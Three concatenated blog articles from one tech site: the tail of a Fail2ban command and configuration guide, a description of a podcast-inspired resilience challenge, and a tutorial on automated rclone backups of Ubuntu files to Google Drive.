Get detailed status of a specific jail:

sudo fail2ban-client status <jail_name>

Ban an IP manually in a jail:

sudo fail2ban-client set <jail_name> banip <IP_address>

Unban an IP from a jail:

sudo fail2ban-client set <jail_name> unbanip <IP_address>

Unban all IPs from a specific jail:

sudo fail2ban-client set <jail_name> unbanip --all

6. Sample Jail Configuration

Customize /etc/fail2ban/jail.local to protect SSH:

[DEFAULT]
# Defaults for all jails
# Whitelist specific IPs or ranges
ignoreip = 127.0.0.1/8 192.168.1.0/24
# 1 hour ban duration
bantime = 3600
# Time window to detect multiple failed attempts
findtime = 600
# Max failed attempts before banning
maxretry = 3
# Log backend, usually auto-detected
backend = auto

[sshd]
# Enable the SSH jail
enabled = true
# Override port if not default
port = ssh
# Path to SSH authentication log
logpath = /var/log/auth.log
# Use the SSH filter for matching logs
filter = sshd

After editing:

# Reload Fail2ban to apply changes
sudo fail2ban-client reload

7. Analyzing Logs

Monitor Fail2ban activity:

sudo tail -f /var/log/fail2ban.log

Find banned IPs in the logs:

grep 'Ban' /var/log/fail2ban.log

8. Create a Custom Jail

To protect Apache from login-related brute-force attacks:

Add this to /etc/fail2ban/jail.local:

[apache-auth]
enabled = true
port = http,https
filter = apache-auth
logpath = /var/log/apache2/error.log
maxretry = 3
bantime = 3600

Create the filter /etc/fail2ban/filter.d/apache-auth.conf:

[Definition]
failregex = .*client <HOST>.*authorization failed.*
ignoreregex =

Reload Fail2ban to apply:

sudo fail2ban-client reload

Test the custom filter:

sudo fail2ban-regex /var/log/apache2/error.log /etc/fail2ban/filter.d/apache-auth.conf

9. Debugging

Dump the effective configuration (all parsed settings — useful for verifying what Fail2ban is actually using):

sudo fail2ban-client -d

Test configuration for syntax errors:

sudo fail2ban-client --test

View system logs for Fail2ban:

journalctl -u fail2ban

10. Persistent Bans Across Restarts

On most distributions, Fail2ban already enables ban persistence via SQLite by default. If bans are not surviving restarts, check whether dbfile is explicitly set in your configuration. You can confirm or set it in /etc/fail2ban/jail.local:

[DEFAULT]
dbfile = /var/lib/fail2ban/fail2ban.sqlite3

Restart Fail2ban to apply:

sudo systemctl restart fail2ban

11. iptables Integration

To view the iptables rules created by Fail2ban:

sudo iptables -L -n

To remove Fail2ban-specific rules, target its chains directly (e.g., for the sshd jail):

sudo iptables -F f2b-sshd

Avoid iptables -F without specifying a chain. It flushes all rules across the entire firewall, not just Fail2ban's.

12. Security Best Practices

• Always whitelist critical IPs using ignoreip to prevent accidental bans.
• Customize jail.local for site-specific setups (avoid editing jail.conf).
• Regularly monitor /var/log/fail2ban.log for suspicious activity or misconfigurations.
• Periodically test your filters using: sudo fail2ban-regex <logfile> <filter_file>.
• Enable email alerts for ban events by customizing the action parameter in your jails.

Fail2ban is a powerful tool to lock down your system against brute-force attacks. Regularly monitor logs, refine filters, and keep configs well-maintained for optimal performance and security.

Thank you for reading!

This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the Geeklog on geeksta.net.

The Science Behind This Approach

Resilience as a Learnable Skill

Resilience functions like a muscle that grows stronger with use. According to the research discussed in the podcast:

• Neuroplasticity is the brain's ability to adapt and rewire itself over time. This process allows us to create new patterns with consistent effort.
• The HPA axis refers to the system that manages our stress responses. It can be trained to handle stress more effectively.
• Heart rate variability is a measurable indicator of how well our body adapts to stress. With practice, it can be improved.

The Three Pillars Framework

This challenge follows the framework discussed in the podcast:

• Biological Resilience: Calibrating your nervous system through breath, cold exposure, and sleep
• Psychological Flexibility: Building mental frameworks from evidence-based therapies
• Social Connection: Strengthening the relational safety nets that catch us during hard times

What Makes This Approach Work

1. Small, Sustainable Steps

Each daily practice takes 5 to 15 minutes, focusing on consistency over intensity. This steady, incremental approach promotes lasting change while preventing burnout.

2. The Orchid-Dandelion Insight

One of the most liberating concepts from the podcast was that sensitivity isn't weakness. Whether you're an orchid, thriving in ideal conditions, or a dandelion, capable of adapting anywhere, this challenge is designed to suit your current needs and circumstances. It provides guidance and flexibility no matter your starting point.

3. Evidence-Based Methods

Each exercise in this challenge is based on evidence-backed practices mentioned in the podcast:

• Physiological sighs are breathing techniques used to quickly calm your nervous system.
• Cognitive reframing is a strategy from Cognitive Behavioral Therapy (CBT) that helps shift how you view difficult situations.
• Values-based actions come from Acceptance and Commitment Therapy (ACT). They encourage aligning your actions with your personal values.
• Voluntary discomfort is inspired by Stoicism. It builds resilience by intentionally practicing discomfort in controlled ways.

A Note on the Structure

The challenge is designed to follow a natural, step-by-step progression:

• Week 1: Building a strong nervous system foundation
• Week 2: Creating mindset shifts
• Week 3: Strengthening identity
• Week 4: Integrating what you've learned

This structure reflects research that shows lasting change happens gradually over time. It is not an instant process. You can start the challenge on any day, and if you miss a day, simply pick up where you left off the next day. However, try to stay consistent and avoid missing days to build momentum and reinforce progress.

Automatic Progress Tracking

Your challenge progress is saved automatically in your web browser. This approach is private and requires no login.

• Saves automatically when you complete each day's task.
• Stays private on your own device.

Please note: Progress is tied to your specific browser and device. Switching will start a new session, so using one browser provides the best experience.

Join Me in Building Resilience

If the SOLVED resilience episode resonated with you, this challenge offers a practical way to put those insights into action. You don't need specialized equipment or large blocks of free time. Setting aside a few minutes each day and committing to grow is all it takes.

Research suggests that resilience is a skill that everyone has the potential to develop with practice. This challenge was inspired by Episode 06 of the SOLVED podcast, "How to Become More Resilient," and was created to make their insights accessible, practical, and grounded in science. Full credit for the research and ideas goes to the SOLVED team.

Ready to get started? Join the challenge here.

Thank you for reading!

This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the Geeklog on geeksta.net.

Installing rclone

If you haven't already installed rclone, open a terminal and run the following commands. The first updates your package list, and the second installs rclone from the Ubuntu repositories.

sudo apt update
sudo apt install rclone

You can verify the installation by checking the version number with rclone version.

Why You Need Your Own Google OAuth Application

Google has restricted access to unverified third-party applications, which means rclone's default OAuth credentials no longer work for new users. When you try to authenticate with the default credentials, Google blocks access with an "Access blocked" error stating that rclone hasn't completed Google's verification process.

The solution is to create your own OAuth application in the Google Cloud Console. This gives you a private OAuth app that Google won't block, since you're authorizing your own application to access your own Google Drive. This is a one-time setup that takes about 10 minutes.

Creating Your Google OAuth Application

Start by going to the Google Cloud Console at console.cloud.google.com and signing in with your Google account. You'll need to create a new project for this application.

Setting Up the Project

Click the project dropdown at the top of the page and select "New Project". Give your project a name like "rclone-backup" and click Create. Wait a moment for Google to create the project, then make sure it's selected in the project dropdown.

Enabling the Google Drive API

From the left sidebar, navigate to "APIs & Services" and then "Library". Use the search box to find "Google Drive API". Click on it and press the Enable button. This allows your OAuth application to access Google Drive.

Configuring the OAuth Consent Screen

Before you can create OAuth credentials, you need to configure the consent screen. This is what users see when they authorize the application. Go to "APIs & Services" and then "OAuth consent screen".

Choose "External" as the user type and click Continue. You'll need to fill in some basic information about your application. For the app name, use something like "My rclone Backup". Enter your email address for both the user support email and developer contact information.

Click "Save and Continue" to move to the Scopes page. Click "Add or Remove Scopes" and search for the Google Drive scope. Add https://www.googleapis.com/auth/drive, which gives full read/write access to Google Drive. Select it, click Update, and then "Save and Continue".

Note: Full access is the simplest choice for a two-way backup setup. If you only need to upload files and never restore through rclone, https://www.googleapis.com/auth/drive.file is a more restricted alternative that limits access to files created by the app.

On the Test users page, click "Add Users" and enter your Google email address. This allows you to use the application while it's in testing mode. Click Add, then "Save and Continue". You can review your settings and then click "Back to Dashboard".

Creating OAuth Credentials

Now you can create the actual credentials. Go to "APIs & Services" and then "Credentials". Click "Create Credentials" and choose "OAuth client ID".

For the application type, select "Desktop application". Give it a name like "rclone desktop client" and click "Create". A popup will appear showing your Client ID and Client Secret. Copy both of these values somewhere safe, or click "Download JSON" to save them. You'll need these in the next step.

Configuring rclone

Open your terminal and run rclone config. This starts the interactive configuration process.

Type n to create a new remote and press Enter. Give it a name like gdrive. For the storage type, type drive or find the number corresponding to Google Drive in the list and enter that number.

When prompted for client_id, paste the "Client ID" you copied from the Google Cloud Console. Press Enter, then paste your "Client Secret" when prompted. These custom credentials will allow you to bypass Google's access restrictions.

For the scope, choose option 1 for full access to all files. This gives rclone the ability to read and write any files in your Google Drive. Leave the root_folder_id blank by pressing Enter. Also leave service_account_file blank by pressing Enter.

When asked about advanced config, type n for no. When asked "Use auto config?", type y for yes. This will open a browser window where you'll log in to your Google account and grant permission to your OAuth application. You should see your application name and a prompt asking you to allow access to your Google Drive.

After granting permission, return to the terminal. When asked about configuring as a team drive, type n for no unless you're using Google Workspace shared drives. Confirm the configuration looks correct by typing y, then type q to quit the configuration tool.

Testing Your Connection

Before proceeding, verify that rclone can connect to your Google Drive:

rclone about gdrive:

This shows your Google Drive storage usage and confirms the connection works. rclone lsd gdrive: also works but returns nothing if your Drive root has no folders, which can look like a failed connection.

Understanding Backup Methods

Rclone offers several commands for transferring files, and it's important to understand the differences before creating your backup script.

The sync command makes the destination identical to the source. This means it will copy new and modified files to the destination, and it will also delete files from the destination that no longer exist in the source. This is ideal for maintaining an exact backup where you want the cloud to mirror your local files.

The copy command only copies files from source to destination. It never deletes anything from the destination, even if files are removed from the source. This is useful if you want to keep historical versions of files in the cloud.

The bisync command performs bidirectional synchronization, keeping both locations in sync. Changes made on either side are propagated to the other. This is more complex and requires careful use to avoid conflicts.

For most backup scenarios, sync is the best choice because it maintains an exact copy of your current files in the cloud.

Creating a Backup Script

It's useful to create a script that handles your backups automatically. First, create a directory to store your scripts by running mkdir -p ~/scripts.

Create a new file for your backup script with vim ~/scripts/backup-to-gdrive.sh. Here's a basic backup script that you can customize for your needs:

#!/bin/bash

# Configuration
SOURCE_DIR="/home/$USER/Documents"
BACKUP_NAME="DocumentsBackup"
REMOTE_NAME="gdrive"
REMOTE_DIR="Backups/$BACKUP_NAME"
LOG_FILE="/home/$USER/logs/rclone-backup.log"
DATE=$(date '+%Y-%m-%d %H:%M:%S')

# Create log directory if it doesn't exist
mkdir -p "$(dirname "$LOG_FILE")"

# Log start
echo "[$DATE] Starting backup of $SOURCE_DIR to $REMOTE_NAME:$REMOTE_DIR" >> "$LOG_FILE"

# Run rclone sync
rclone sync "$SOURCE_DIR" "$REMOTE_NAME:$REMOTE_DIR" \
    --log-file="$LOG_FILE" \
    --log-level INFO \
    --exclude ".Trash-*/**" \
    --exclude ".cache/**" \
    --exclude "*.tmp"

# Check if backup was successful
# Exit code 0 = success, 3 = some files failed to transfer, 1 = syntax/config error
if [ $? -eq 0 ]; then
    echo "[$DATE] Backup completed successfully" >> "$LOG_FILE"
else
    echo "[$DATE] Backup finished with errors (check log for details)" >> "$LOG_FILE"
fi

This script sets up some basic configuration variables at the top, creates a log directory if needed, and runs the sync command with logging enabled. It excludes common temporary files and cache directories that don't need to be backed up. After the sync completes, it checks whether the operation succeeded and logs the result.

If you run the script manually and want live progress output, add --progress to the rclone command temporarily. Don't include it in the script used by cron — it writes to stdout where it serves no purpose and can interfere with log handling.

Make the script executable by running chmod +x ~/scripts/backup-to-gdrive.sh. You can now run your backup anytime by executing ~/scripts/backup-to-gdrive.sh.

Backing Up Multiple Directories

If you want to backup multiple directories, you can extend your script to handle them all. Here's an example that backs up Documents, Pictures, and configuration files:

#!/bin/bash

REMOTE_NAME="gdrive"
LOG_FILE="/home/$USER/logs/rclone-backup.log"
DATE=$(date '+%Y-%m-%d %H:%M:%S')

mkdir -p "$(dirname "$LOG_FILE")"
echo "[$DATE] Starting backups" >> "$LOG_FILE"

# Backup Documents
rclone sync /home/$USER/Documents "$REMOTE_NAME:Backups/Documents" \
    --log-file="$LOG_FILE" --log-level INFO

# Backup Pictures
rclone sync /home/$USER/Pictures "$REMOTE_NAME:Backups/Pictures" \
    --log-file="$LOG_FILE" --log-level INFO

# Backup important config files
rclone sync /home/$USER/.config "$REMOTE_NAME:Backups/config" \
    --log-file="$LOG_FILE" --log-level INFO \
    --exclude "*/Cache/**" \
    --exclude "*/cache/**"

echo "[$DATE] All backups completed" >> "$LOG_FILE"

Each directory is synced to a separate folder in your Google Drive under the Backups directory. This keeps your backups organized and makes it easier to restore specific types of files later.

Automating Backups with Cron

To run your backups automatically on a schedule, you can use the cron task scheduler. Edit your cron table by running crontab -e. If this is your first time using crontab, you'll be asked to choose an editor.

Add a line to schedule your backup. The format is five time fields followed by the command to run. Here are some common schedules:

# Daily at 2 AM
0 2 * * * /home/yourusername/scripts/backup-to-gdrive.sh

# Every 6 hours
0 */6 * * * /home/yourusername/scripts/backup-to-gdrive.sh

# Every day at 3:30 PM
30 15 * * * /home/yourusername/scripts/backup-to-gdrive.sh

Replace yourusername with your actual Ubuntu username. Use the full path here rather than $USER or $HOME — cron runs with a minimal environment where those variables may not be set. Save the file and exit the editor.

Testing Before Running Real Backups

Before setting up automated backups, it's wise to test what rclone will do without actually transferring any files. The --dry-run flag shows you exactly what would be copied, modified, or deleted without making any changes.

Run your script with a dry run by adding the flag to the rclone command temporarily, or run rclone directly from the command line like this:

rclone sync /home/$USER/Documents gdrive:Backups/Documents --dry-run --verbose

This will output a detailed list of actions that would be taken. Review this carefully to make sure it's doing what you expect. Pay special attention to any files that would be deleted.

Useful rclone Commands

There are several rclone commands that are helpful for managing your backups. To list files in your Google Drive, use rclone ls gdrive: for all files or rclone lsd gdrive: for just directories.

To check how much storage you're using, run rclone about gdrive:. This shows your total storage, used space, and free space in Google Drive.

If you need to restore files from Google Drive back to your local system, you can reverse the sync direction:

rclone sync gdrive:Backups/Documents /home/$USER/Documents-Restored

Be very careful with this command. Using sync in the restore direction will make your local directory match the cloud, which means it could delete local files that aren't in the cloud backup.

To compare your local files with your cloud backup without transferring anything, use the check command:

rclone check /home/$USER/Documents gdrive:Backups/Documents

This reports any differences between the two locations without modifying either one.

Filtering Files

You often don't want to backup everything. Rclone provides powerful filtering options that you can add to your sync commands.

To exclude specific patterns, use the --exclude flag. For example, --exclude "*.tmp" skips all files ending in .tmp. You can use --exclude ".git/**" to skip git repositories, or --exclude "node_modules/**" to skip Node.js dependencies.

If you only want to backup specific file types, use --include instead. For example, --include "*.jpg" combined with --include "*.png" will only backup image files. Note that when using include filters, you typically need to also add --exclude "*" at the end to exclude everything that wasn't explicitly included.

You can also filter by file size or age. The flag --min-size 1M only transfers files larger than 1 megabyte, while --max-age 30d only transfers files modified in the last 30 days.

Optimizing Transfer Performance

By default, rclone transfers files one at a time. For better performance with many small files, you can increase the number of parallel transfers with --transfers 4. This uploads four files simultaneously.

The --checkers 8 flag increases the number of files rclone checks simultaneously when determining what needs to be transferred. This can significantly speed up the initial scanning phase.

If you're backing up large files, increasing the buffer size with --buffer-size 16M can improve transfer speeds by reducing the number of round trips to Google Drive.

If backups are consuming too much bandwidth and affecting your other internet usage, you can limit the transfer rate with --bwlimit 10M to restrict uploads to 10 megabytes per second.

Monitoring Your Backups

It's important to verify that your backups are running successfully. You can check the log file directly with tail -f /home/$USER/logs/rclone-backup.log to watch backups in real-time as they run.

To see the most recent backup events, use tail -n 20 /home/$USER/logs/rclone-backup.log | grep "Backup" which shows the last 20 lines containing the word "Backup".

Create a simple monitoring script at ~/scripts/check-backup-status.sh:

#!/bin/bash

LOG_FILE="/home/$USER/logs/rclone-backup.log"

echo "=== Recent Backup Events ==="
tail -n 20 "$LOG_FILE" | grep "Backup"

echo ""
echo "=== Google Drive Storage Usage ==="
rclone about gdrive:

echo ""
echo "=== Recently Backed Up Files ==="
rclone ls gdrive:Backups --max-depth 2 | tail -n 10

Make it executable with chmod +x ~/scripts/check-backup-status.sh. Run this script occasionally to verify your backups are working correctly.

Troubleshooting Common Issues

If you get an error about failing to create a file system, first check your rclone configuration with rclone config show gdrive. Make sure your client_id and client_secret are present. If they're missing or incorrect, run rclone config again to reconfigure the remote.

Slow transfer speeds can have several causes. Your internet connection might be the bottleneck, especially for large files. Try adding --transfers 4 and --checkers 8 to speed things up. If uploads are interfering with other network activities, use --bwlimit to limit the bandwidth rclone uses.

If files aren't syncing as expected, run the command with --dry-run and --verbose to see what rclone plans to do. Check that your exclude patterns aren't inadvertently blocking files you want to backup. Verify that you have read permission on the files you're trying to backup.

If rclone seems to hang or stop responding, it might be waiting for network operations to complete. The --timeout 30s flag sets a timeout for individual operations. The --contimeout 60s flag sets a timeout for initial connections.

Security Considerations

Your OAuth credentials provide access only to your own Google Drive account. The credentials are stored in ~/.config/rclone/rclone.conf with permissions set to 600, meaning only your user account can read the file.

Keep your rclone.conf file secure. Don't share it with others or commit it to version control systems. If you ever need to revoke access, you can do so from your Google account settings under Security, then "Third-party apps with account access".

The client_id and client_secret from your OAuth application are not as sensitive as the tokens in rclone.conf, but you should still keep them private. Anyone with these credentials could create their own rclone configuration to access their own Google Drive using your OAuth application.

If you're concerned about data privacy, remember that rclone transfers your files to Google's servers where they're stored according to Google's privacy policy. The files are encrypted in transit using HTTPS, but they're stored in Google Drive in a form that Google can technically access.

Maintaining Your Backup System

Check your log files every few weeks to verify backups are completing. Spot-check Google Drive occasionally to confirm files are actually there. Monitor storage usage with rclone about gdrive:.

Most importantly, test your restore process periodically. Try restoring a few files to a temporary directory to confirm it works before you actually need it:

rclone sync gdrive:Backups/Documents /tmp/restore-test --dry-run --verbose

Keep rclone updated — Ubuntu's package manager handles this during system updates. For the latest version, install directly from rclone.org.

For advanced features and options, see the official documentation at rclone.org.

Thank you for reading!

This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the Geeklog on geeksta.net.